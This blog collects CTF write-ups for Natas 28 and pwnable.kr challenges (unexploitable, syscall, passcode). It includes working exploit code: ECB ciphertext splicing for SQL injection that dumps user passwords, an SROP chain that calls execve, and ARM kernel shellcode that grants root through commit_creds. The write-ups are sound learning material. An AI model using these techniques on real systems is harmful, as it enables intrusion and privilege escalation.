Natas 28: Getting It Wrong

I wanted to show someone a good example of a PHP unserialize vulnerability, and remembered that the natas challenges had contained one. So I decided I would do all the challenges to find the one I was looking for, and because I thought it would be fun and easy. Largely I was right and I cruised right through them, found the unserialize one, and kept going. Until I got stopped dead at Natas 28. The problem was not that it was exceptionally difficult; the problem was my reluctance to question my original assumptions about the challenge. I started the challenge, entered a search query, messed with the resulting redirected url, and was presented with

Incorrect amount of PKCS#7 padding for blocksize

And I immediately thought “This is totally a Padding Oracle Attack“. I was certain of it. I then tested different input strings and examined the resulting ciphertext in the query parameter, and determined the block size was 16 bytes. I now had all the information I needed to create a program to decrypt the ciphertext and reveal the password that I thought would be waiting in it. I used this convenient Padding Oracle API, and was able to quickly create the right program by switching out some lines in the example. I ended up with the following code

from paddingoracle import BadPaddingException, PaddingOracle, xor
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somequery = quote(b64encode(data))
        #self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                #print "[*] Trying %s" % somequery
                headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
                response = self.session.get('http://natas28.natas.labs.overthewire.org/search.php/?query='+somequery,
                        stream=False, timeout=5, verify=False, headers=headers)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if "Incorrect amount of PKCS#7 padding for blocksize" not in response.content:
            logging.debug('No padding exception raised on %r', somequery)
            return

        else:
			raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print 'Usage: %s <somequery value>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_query = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    query = padbuster.decrypt(encrypted_query, block_size=16, iv=bytearray(16))

    print('Decrypted somequery: %s => %r' % (sys.argv[1], query))

This is the right code to take the encrypted query parameter and return the decrypted ciphertext if my assumptions were correct. So I ran the program and it resulted in… gibberish. If it even was able to finish, which in general for 16 byte blocks it wasn’t. It would fail to decrypt some bytes. This is where I screwed up by not rethinking my assumptions about this challenge. Instead I assumed there was something wrong with the code. And when I was convinced that what I wrote was right I wondered if maybe the open source code I was relying on was wrong, so I went through it to make sure it was doing the right thing (it was). I read and reread about padding oracle attacks. I wondered if it was actually an 8 byte block cipher and somehow the additional bytes were being doubled.

Eventually I was still so convinced it was a POA that I asked someone online what I was doing wrong. And they told me to take another look at my assumptions about the cipher, particularly the block mode. I realized almost immediately that the block mode was actually ECB. If I hadn’t so blindly believed I was right in the beginning I would have noticed that the test queries and resulting ciphertexts could not possibly be the result of CBC.

Now that I knew it was ECB I decided to use a chosen plaintext attack, which would allow me to decrypt the portion of the ciphertext after the part that corresponded to the bytes of my query. I found another nice framework to carry this out, chosen-plaintext by EiNSeiN. Using this I produced the following code

import requests
from urllib import quote, unquote
from chosen_plaintext import ChosenPlaintext

class Client(ChosenPlaintext):

	def __init__(self):
		ChosenPlaintext.__init__(self)
		#self.block_size = 16
		#self.plaintext_offset = 32
		
		return

	def ciphertext(self, plaintext):

		print "[*] Trying plaintext: %s" % plaintext.encode("hex")
		headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}
		resp = requests.post("http://natas28.natas.labs.overthewire.org/index.php", data={"query": plaintext}, headers=headers)

		data = unquote(resp.url.split("query=")[1]).decode("base64")
		print "[*] Got ciphertext: %s" % unquote(resp.url.split("query=")[1]).decode("base64").encode("hex")
		
		return data

c = Client()
c.run()
print 'recovered', repr(c.plaintext)

But this code also failed after it found a single byte of plaintext: “%”! So again I thought the code must be wrong. However eventually I remembered that some query characters were being escaped which breaks the ability to perform the chosen plaintext attack beyond an occurrence of one of those characters. So now I knew the next two parts of the plaintext were % and an escaped character. After thinking for a little about it I concluded that it was %’ because it was the end of a SQL LIKE clause, something like “… WHERE joke_body LIKE ‘%{escaped_query}%’ …”. This fit the behavior of the script and made sense with those characters. So now I knew that the ciphertext was an ECB Mode Block Cipher encrypted SQL query. Now since ECB simply encrypts each block separately I could encrypt a block containing valid SQL syntax and then insert it after the %’ in the ciphertext in order to achieve SQL injection. The code below accomplishes this and prints out the password.

import requests
from urllib import quote, unquote
import re

from pwn import *

natas_url = "http://natas28.natas.labs.overthewire.org/index.php"
search_url = "http://natas28.natas.labs.overthewire.org/search.php/?query="

#authorization header
headers = {"Authorization": "Basic bmF0YXMyODpKV3dSNDM4d2tnVHNOS0JiY0pvb3d5eXNkTTgyWWplRg=="}

log.info("Retrieving first ciphertext")

#pad plaintext to ensure it takes up a full ciphertext block
plaintext = "A"*10 + "B"*14
resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)

#get the raw bytes of the ciphertext
encoded_ciphertext = resp.url.split("query=")[1]
ciphertext = unquote(encoded_ciphertext).decode("base64")

#sql to inject into ciphertext query
new_sql = " UNION ALL SELECT concat(username,0x3A,password) FROM users #"
log.info("Appending query: %s" % new_sql)

#pad plaintext to ensure it also takes up a whole number of ciphertext blocks
plaintext = "A"*10 + new_sql + "B"*(16-(len(new_sql)%16))
offset = 48 + len(plaintext)-10

resp = requests.post(natas_url, data={"query": plaintext}, headers=headers)
encoded_new_ciphertext = resp.url.split("query=")[1]
new_ciphertext = unquote(encoded_new_ciphertext).decode("base64")
encrypted_sql = new_ciphertext[48:offset]

#add the encrypted new sql into the final ciphertext
final_ciphertext = ciphertext[:64]+encrypted_sql+ciphertext[64:]

resp = requests.get(search_url, params={"query":final_ciphertext.encode("base64")}, headers=headers)

log.info("Response: %s" % re.findall("<li>(.*?)</li>", resp.content)[0])

This was a surprising and interesting challenge. It nicely demonstrates the weakness of ECB block ciphers when the attacker is able to partially control plaintext. It also demonstrated to me that I should never be so sure of my initial assessment that I am blinded when new evidence appears.

Pwnable Challenge: Unexploitable

Unexploitable is the first Hackers Secret challenge. The solutions to these challenges are techniques that are not as widely known as the other challenges. I should have considered this before I wasted a lot of time trying normal ropchain stuff. Alright so heres the vulnerable program:

#include <stdio.h>
void main(){
	// no brute forcing
	sleep(3);
	// exploit me
	int buf[4];
	read(0, buf, 1295);
}

So the vulnerability here is a simple buffer overflow. However the NX bit is set and ASLR is on so its nontrivial to exploit it. My first attempts all involved trying to execute a execve syscall directly. This was futile for several reasons that will become clear once we look at the available ROP gadgets. I used to used ROPGadget made by the shellstorm guy (I think. I should check and give proper credit) but now I started using ropper. Its better in many ways and several of them are that its colorful. Heres the ropper output of all the available gadgets:

[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x000000000040040a: adc al, byte ptr [rcx]; add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x0000000000400408: add al, ch; adc al, byte ptr [rcx]; add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x0000000000400570: add al, ch; mov edx, 0xc9fffffe; ret; 
0x000000000040040d: add al, ch; or eax, 0x48000002; add esp, 8; ret; 
0x000000000040060f: add bl, dh; ret; 
0x0000000000400496: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x000000000040063f: add byte ptr [rax - 0x7d], cl; jmp 0x64c; call rax; 
0x000000000040056e: add byte ptr [rax], al; add al, ch; mov edx, 0xc9fffffe; ret; 
0x000000000040060d: add byte ptr [rax], al; add bl, dh; ret; 
0x000000000040056d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x430; leave; ret; 
0x0000000000400568: add byte ptr [rax], al; add byte ptr [rax], al; mov eax, 0; call 0x430; leave; ret; 
0x0000000000400569: add byte ptr [rax], al; add byte ptr [rax], bh; call 0x430; leave; ret; 
0x0000000000400411: add byte ptr [rax], al; add rsp, 8; ret; 
0x000000000040056f: add byte ptr [rax], al; call 0x430; leave; ret; 
0x0000000000400407: add byte ptr [rax], al; call 0x520; call 0x620; add rsp, 8; ret; 
0x000000000040040c: add byte ptr [rax], al; call 0x620; add rsp, 8; ret; 
0x000000000040056a: add byte ptr [rax], al; mov eax, 0; call 0x430; leave; ret; 
0x000000000040063e: add byte ptr [rax], al; sub rbx, 8; call rax; 
0x0000000000400531: add byte ptr [rax], al; test rax, rax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x000000000040056b: add byte ptr [rax], bh; call 0x430; leave; ret; 
0x000000000040063d: add byte ptr [rax], r8b; sub rbx, 8; call rax; 
0x000000000040050b: add byte ptr [rcx], al; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040040b: add dword ptr [rax], eax; add al, ch; or eax, 0x48000002; add esp, 8; ret; 
0x0000000000400492: add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x0000000000400492: add eax, 0x200b49; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400605: add esp, 0x38; ret; 
0x000000000040050e: add esp, 8; pop rbx; pop rbp; ret; 
0x0000000000400414: add esp, 8; ret; 
0x0000000000400604: add rsp, 0x38; ret; 
0x000000000040050d: add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400413: add rsp, 8; ret; 
0x00000000004005f3: and al, 0x18; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f8: and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005fd: and al, 0x28; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400602: and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400495: and byte ptr [rax], al; test rax, rax; je 0x49e; call rax; 
0x0000000000400495: and byte ptr [rax], al; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x00000000004005f9: and byte ptr [rbx + rcx*4 + 0x74], cl; and al, 0x28; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400571: call 0x430; leave; ret; 
0x000000000040065c: call 0x4b0; add rsp, 8; ret; 
0x0000000000400409: call 0x520; call 0x620; add rsp, 8; ret; 
0x000000000040040e: call 0x620; add rsp, 8; ret; 
0x000000000040049c: call rax; 
0x000000000040049c: call rax; add rsp, 8; ret; 
0x0000000000400631: cmp eax, 0xff; je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x000000000040064a: cmp eax, 0xff; jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400630: cmp rax, 0xff; je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400649: cmp rax, 0xff; jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400575: dec ecx; ret; 
0x0000000000400503: fdiv dword ptr [rdx - 0x1e]; mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x00000000004005dc: fmul qword ptr [rax - 0x7d]; ret; 
0x000000000040048e: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x00000000004005f7: insb byte ptr [rdi], dx; and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400504: jb 0x4e8; mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040049a: je 0x49e; call rax; 
0x000000000040049a: je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400536: je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400536: je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x00000000004005fc: je 0x622; sub byte ptr [rbx + rcx*4 + 0x7c], cl; and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400634: je 0x64f; mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400642: jmp 0x64c; call rax; 
0x000000000040053e: jmp rax; 
0x000000000040053e: jmp rax; pop rbp; ret; 
0x000000000040064d: jne 0x640; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400506: mov byte ptr [rip + 0x200b1b], 1; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040056c: mov eax, 0; call 0x430; leave; ret; 
0x0000000000400491: mov eax, dword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400491: mov eax, dword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x00000000004005f6: mov ebp, dword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400636: mov ebx, 0x600e28; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x0000000000400567: mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x0000000000400539: mov edi, 0x600e48; jmp rax; 
0x0000000000400539: mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x0000000000400600: mov edi, dword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400572: mov edx, 0xc9fffffe; ret; 
0x00000000004005fb: mov esi, dword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400565: mov esi, eax; mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x00000000004005f1: mov esp, dword ptr [rsp + 0x18]; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f0: mov r12, qword ptr [rsp + 0x18]; mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005f5: mov r13, qword ptr [rsp + 0x20]; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005fa: mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x00000000004005ff: mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400490: mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400490: mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400564: mov rsi, rax; mov edi, 0; mov eax, 0; call 0x430; leave; ret; 
0x000000000040063b: nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x000000000040048f: or byte ptr [rax - 0x75], cl; add eax, 0x200b49; test rax, rax; je 0x49e; call rax; 
0x0000000000400510: or byte ptr [rbx + 0x5d], bl; ret; 
0x000000000040040f: or eax, 0x48000002; add esp, 8; ret; 
0x0000000000400494: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x0000000000400509: or esp, dword ptr [rax]; add byte ptr [rcx], al; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400493: or rsp, qword ptr [r8]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x0000000000400538: pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400538: pop rbp; mov edi, 0x600e48; jmp rax; pop rbp; ret; 
0x0000000000400512: pop rbp; ret; 
0x0000000000400511: pop rbx; pop rbp; ret; 
0x000000000040064c: push qword ptr [rbp - 0xf]; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400442: ret 0x200b; 
0x0000000000400297: ret 1; 
0x0000000000400499: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
0x00000000004005f4: sbb byte ptr [rbx + rcx*4 + 0x6c], cl; and al, 0x20; mov r14, qword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret; 
0x0000000000400635: sbb dword ptr [rbx + 0x600e28], edi; nop dword ptr [rax + rax]; sub rbx, 8; call rax; 
0x00000000004005fe: sub byte ptr [rbx + rcx*4 + 0x7c], cl; and al, 0x30; add rsp, 0x38; ret; 
0x0000000000400641: sub ebx, 8; call rax; 
0x0000000000400659: sub esp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048d: sub esp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400640: sub rbx, 8; call rax; 
0x0000000000400658: sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048c: sub rsp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400498: test eax, eax; je 0x49e; call rax; 
0x0000000000400498: test eax, eax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400534: test eax, eax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x0000000000400497: test rax, rax; je 0x49e; call rax; 
0x0000000000400497: test rax, rax; je 0x49e; call rax; add rsp, 8; ret; 
0x0000000000400533: test rax, rax; je 0x540; pop rbp; mov edi, 0x600e48; jmp rax; 
0x000000000040064b: clc; push qword ptr [rbp - 0xf]; add rsp, 8; pop rbx; pop rbp; ret; 
0x000000000040064e: int1; add rsp, 8; pop rbx; pop rbp; ret; 
0x0000000000400576: leave; ret; 
0x0000000000400657: nop; sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x000000000040048b: nop; sub rsp, 8; mov rax, qword ptr [rip + 0x200b49]; test rax, rax; je 0x49e; call rax; 
0x0000000000400656: nop; nop; sub rsp, 8; call 0x4b0; add rsp, 8; ret; 
0x0000000000400417: ret; 
0x0000000000400560: syscall; 

Alright so there are several problems here. The first is that there is no way to control rax to set it to the number of our syscall. This is surmountable however. The insurmountable issue is that there is no way to control rdi only edi… wait I’m now realizing that I could have done it just by using the edi gadget. Shit… I learned about SROP for nothing… Wait no theres no gadget to set rdx/edx so I still think SROP is the way to go.

SROP is stands for sigreturn return oriented programming. It uses the sigreturn syscall to set all registers to attacker-controlled memory on the stack. I learned about it from this page. This allows us to set the registers necessary to execute a execve syscall. So here is the working exploit code using SROP to execute execv:

#sploitz brah
#unexploitable local sploit

import subprocess
import struct
import time
import os

#write cat flag command into our file named \x01
catflagfile = open("/tmp/\x01", "w+")
catflagfile.write("#!/bin/sh\n/bin/cat /home/unexploitable/flag")
catflagfile.close()

#make file executable
os.chmod("/tmp/\x01", 755)

#start the unexploitable process
p = subprocess.Popen(['/home/unexploitable/unexploitable'], env={"PATH": "/tmp"}, stdout=subprocess.PIPE,stdin=subprocess.PIPE)

#create SROP buffer
ropbuffer = ""
ropbuffer += "JUNK"*6                                # JUNK before address overwrite
ropbuffer += struct.pack("<Q",0x0000000000400430)    # address of read.plt to put the value 0xf in eax
ropbuffer += struct.pack("<Q",0x0000000000400560)    # address of syscall to call sigreturn
ropbuffer += struct.pack("<Q",0x0000000000000000)*13 # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000600e50)    # address of 0x0000000000000001 (RDI, argv[0], our catflagfile)
ropbuffer += struct.pack("<Q",0x0000000000400fe8)    # pointer to 0x0000000000600e50 (RSI, argv)
ropbuffer += struct.pack("<Q",0x0000000000000000)*2  # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000000000)    # pointer to nothing for the env (RDX)
ropbuffer += struct.pack("<Q",0x000000000000003b)    # rax value for the execve syscall
ropbuffer += struct.pack("<Q",0x0000000000000000)*2  # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000400560)    # address of syscall to call execve
ropbuffer += struct.pack("<Q",0x0000000000000000)    # empty context stuff
ropbuffer += struct.pack("<Q",0x0000000000000033)    # cs value to not segfault
ropbuffer += struct.pack("<Q",0x0000000000000000)*90 # empty context stuff

#send srop buffer after waiting
time.sleep(3)
p.stdin.write(ropbuffer+"\n")
time.sleep(1)
p.stdin.write("A"*14 + "\n")
time.sleep(1)

print "FLAG: %s" % p.stdout.read().strip()
os.remove("/tmp/\x01")

The first part creates a file named “\x01” with contents that will print out the flag when executed with the proper privileges. The filename is “\x01” because that was the first valid filename string I could find at a reliable address that could be used for the execve(argv[0], argv, env) syscall. A valid argv array needs to first have a pointer to the address of the filename and also needs to be 8 byte null terminated. The only “string” that I could find fitting these requirements was “\x01” located at 0x0000000000600e50 which is pointed to by 0x0000000000400fe8. The program is executed with the PATH set to /tmp so that the file is accessible using just “\x01”.

The ROP buffer starts with a trick to get the syscall number of sigreturn (0xf) into rax by calling read via the plt and inputting 15 chars (the A’s below). The next address in the chain is the address of syscall. If you look in the ropper output you’ll see that it is not a “syscall; ret” but thats alright because sigreturn will allow us to return to the address of our choosing. The rest of the ropbuffer is the ucontext structure that restores the context after a signal and which allows us to set the registers to the right values to execute the execve syscall. The important parts of the context are described in the comments.

This is the whole of the exploit. SROP is a pretty amazing tool to achieve code execution when the available ROP gadgets are limited. I hadn’t known about it before so this was actually a really helpful challenge for me.

Pwnable Challenge: Syscall

Syscall is the first pwnable.kr challenge that deals with a kernel vulnerability. It’s pretty much the simplest possible kernel vulnerability, with the only twist being that its on ARM. It is a new system call that takes a string and returns the string with all letters capitalized:

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
		}
		else{
			out[i] = in[i];
		}
	}
	return 0;
}

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;
}

static void __exit exitmodule(void ){
	return;
}

module_init( initmodule );
module_exit( exitmodule );

The issue here is that there is no check on either the source or destination addresses of the strings. This creates a kind of distorted arbitrary read/write vulnerability, as the syscall will change any bytes that correspond to lower case characters. This allows you to write the necessary commit_creds code into executable kernel memory.

The following exploit overwrites the syscall vmsplice code with the grant_privs bytes which correspond to a call to commit_creds(prepare_kernel_cred(0)). Then vmsplice is called and and the code is run, which changes the uid of the program to 0 (root). Then the flag is read and printed:

//syscall solver
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SYS_UPPER 223
#define OVERWRITTEN 343

/* exploit output: 
[+] Overwriting sys_vmsplice...
[+] Got r00t
[+] Flag: Congratz!! addr_limit looks quite IMPORTANT now... huh?
*/

int main()
{
    char flag[128];
    char grant_privs[] = "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x01\xb5\x92\x1a"
                         "\x10\x1c\xf0\x46\x02\x4a\x90\x47\x02\x4a\x1c\x32"
                         "\x90\x47\x01\xbd\x24\xf9\x03\x80\x50\xf5\x03\x80";

    printf("[+] Overwriting sys_vmsplice...\n");
    void * sys_vmsplice = (void *)0x800e3dc8;

    syscall(SYS_UPPER, grant_privs, sys_vmsplice);
    syscall(OVERWRITTEN);

    if(getuid()){
        perror("[-] Something went wrong\n");
        return -1;
    }

    printf("[+] Got r00t\n");
    FILE * fp = fopen("/root/flag","r");
 
    if( fp == NULL )
    {
       perror("[-] Error while opening the flag file\n");
       return -1;
    }

    fgets(flag, 128, fp);
    printf("[+] Flag: %s", flag);
 
    fclose(fp);
    return 0;
}

I gotta say this is my prettiest exploit. I put some artistry into this one. But the first thing to attempt is commit_creds(prepare_kernel_cred(0)) code that avoids null bytes and lower case characters. After a lot of finagling I came up with the following assembly:

.data:00000008 b501 push {r0, lr}	      
.data:0000000a 1a92 subs r2, r2, r2	      
.data:0000000c 1c10 adds r0, r2, #0	      
.data:0000000e 46f0 mov r8, lr	      
.data:00000010 4a02 ldr r2, [pc, #8] ; (0x0000001c)	;char c = src[i]
.data:00000012 4790 blx r2	      
.data:00000014 4a02 ldr r2, [pc, #8] ; (0x00000020)	;dst[i] = c
.data:00000016 321c adds r2, #28	      
.data:00000018 4790 blx r2	;i++
.data:0000001a bd01 pop {r0, pc}	
      
.data:0000001c 8003f924
.data:00000020 8003f550

The last two 4 byte sequences are the addresses of prepare_kernel_cred and commit_creds which I found from /proc/kallsyms:

/ $ cat /proc/kallsyms|grep commit_creds
8003f56c T commit_creds
8044548c r __ksymtab_commit_creds
8044ffc8 r __kstrtab_commit_creds
/ $ cat /proc/kallsyms|grep prepare_kernel
8003f924 T prepare_kernel_cred
80447f34 r __ksymtab_prepare_kernel_cred
8044ff8c r __kstrtab_prepare_kernel_cred

I’ll go back and explain what these functions do later. man this is a messy writeup i gotta fix this up.

Pwnable Challenge: Passcode

Alright so recently I was getting a friend into pwnable and the first one he really had difficulty on was passcode which is probably one of the hardest of the easiest challenges. Especially if you aren’t familiar with how uninitialized variables work. So ima write up a short explanation of a solution to passcode. The source of passcode is below:

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

You are first prompted to enter a 100 char string in welcome() and then enter 2 integers in login(). However the scanf calls are not correct as they should read

scanf("%d", &passcode1);
...
scanf("%d", &passcode2);

rather than as they appear in the code above. In the source scanf will not write the input into the location of passcode1, instead it will interpret the value of passcode1 as an address and try to write the input into that address. However this value has not been initialized to anything, so what will the value be? This might be confusing if you haven’t dealt with a vulnerability that makes you consider stack frames before. When a function is called “room is made” on the stack for its local variables by subtracting from esp (rsp on x64) and the local variables are referenced using positive offset from esp or negative from ebp. When a function returns esp switches back to ebp and the saved ebp is reloaded returning the stack to the previous context ****put some text diagrams here this is confusing ****. However when another function is called it uses (at least some of) the same stack memory as the previously called function. This means that uninitialized variables can contain data written to the stack in previous function calls. I wrote a very simple program that demonstrates the basic idea behind this:

#include<stdio.h>

void printvar()
{
    int a;
    printf("a: 0x%08x\n", a);
}

void initvar()
{
    int b;
    scanf("%x", &b);
}


void main()
{
    initvar();
    printvar();
}

If this is compiled and run with the input “cafebabe” the result is

cafebabe
a: 0xcafebabe

The uninitialized value a has the value of the previously called function’s b. The reason for this becomes more clear upon investigation of their assembly:

gdb-peda$ disass initvar
Dump of assembler code for function initvar:
   0x08048488 <+0>:	push   ebp
   0x08048489 <+1>:	mov    ebp,esp
   0x0804848b <+3>:	sub    esp,0x28
   0x0804848e <+6>:	lea    eax,[ebp-0xc]
   0x08048491 <+9>:	mov    DWORD PTR [esp+0x4],eax
   0x08048495 <+13>:	mov    DWORD PTR [esp],0x804855b
   0x0804849c <+20>:	call   0x8048360 {__isoc99_scanf@plt}
   0x080484a1 <+25>:	leave  
   0x080484a2 <+26>:	ret    
End of assembler dump.
gdb-peda$ disass printvar
Dump of assembler code for function printvar:
   0x0804846d <+0>:	push   ebp
   0x0804846e <+1>:	mov    ebp,esp
   0x08048470 <+3>:	sub    esp,0x28
   0x08048473 <+6>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048476 <+9>:	mov    DWORD PTR [esp+0x4],eax
   0x0804847a <+13>:	mov    DWORD PTR [esp],0x8048550
   0x08048481 <+20>:	call   0x8048330 {printf@plt}
   0x08048486 <+25>:	leave  
   0x08048487 <+26>:	ret    
End of assembler dump.

The two functions have a very similar layout and they have identical esp since both are “sub esp,0x28” and are called from the same parent function. This means that in both functions esp+0x4 (the location of both a and b) will be the same address and the value of b will be the uninitialized value of a.

Applying this to passcode we can see that it is likely that the uninitialized values of passcode1 and passcode2 may lie somewhere within the local variable of welcome(), name. Indeed this is what happens, as we could see by taking breakpoints and doing the subtraction of addresses or just putting in a peda generated pattern and looking at the result. I did the latter:

gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Toddler's Secure Login System 1.0 beta.
enter you name : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
